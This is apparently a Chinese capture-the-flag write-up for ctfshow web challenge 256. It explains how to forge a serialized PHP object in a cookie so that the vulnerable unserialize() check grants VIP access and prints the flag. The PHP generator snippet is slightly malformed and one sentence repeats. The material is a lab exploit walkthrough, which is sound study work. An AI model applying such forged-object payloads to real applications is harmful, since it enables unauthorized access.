ctf show web 入门256

通过代码审计可以看出本题要求我们

php 复制代码
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();

当cookie的值被反序列化后的username和password的值与在url输入的值一样时满足第一层if语句

然后判断user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user->vipOnekeygetflag()

同时还要满足

php 复制代码
public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag; 

username和password的值要满足用户名和密码不能相同

我们可以本地运行一段简单的 PHP 代码,来生成我们需要的序列化字符串
<?php class ctfShowUser { public username = 'admin'; // 任意设置,但不要与密码相同 public password = 'secret'; // 任意设置 public isVip = true; // 必须为 true } user = new ctfShowUser(); echo urlencode(serialize($user)); ?>

这里就可以直接把输出的结果放入该网站的cookie中

我们先按下f12打开开发者工具

先添加一个cookie然后对这个cookie的名称和值进行修改

因为这次的反序列化后的值已经被url编码使用可以直接输入没有限制

最后flag为:your flag is ctfshow{3e5d5dc9-1b36-4060-8b1d-90f74ac4ef9f}

相关推荐
三品吉他手会点灯12 小时前
C语言学习笔记 - 50.流程控制4 - 流程控制为什么非常非常重要
c语言·开发语言·笔记·学习
云飞云共享云桌面13 小时前
传统工作站 vs 云飞云共享云桌面:制造业设计云桌面选型深度对比
运维·服务器·前端·网络·3d·架构·制造
UXbot13 小时前
如何选择适合公司项目的UI设计工具?企业选型指南
前端·低代码·ui·团队开发·原型模式·设计规范·web app
chushiyunen13 小时前
langchain4j笔记、tools
笔记·python·flask
llz_11213 小时前
web-第四次课后作业
前端·spring boot·web
武清伯MVP14 小时前
前端跨域方案大合集
前端·javascript
小刘|14 小时前
Spring AI Alibaba 集成和风天气 API 实战
java·服务器·前端
星星在线15 小时前
我是怎么把页面图片流量砍掉一半的
前端·javascript
影视飓风TIM15 小时前
数据结构 | 链表超全笔记(单链表+双链表+高频算法题)
数据结构·笔记·链表
二哈赛车手15 小时前
新人笔记---最终版智能体图片分析完整方案,包括一些总结于经验,以及各种优化点讲解
java·笔记·spring·ai·springboot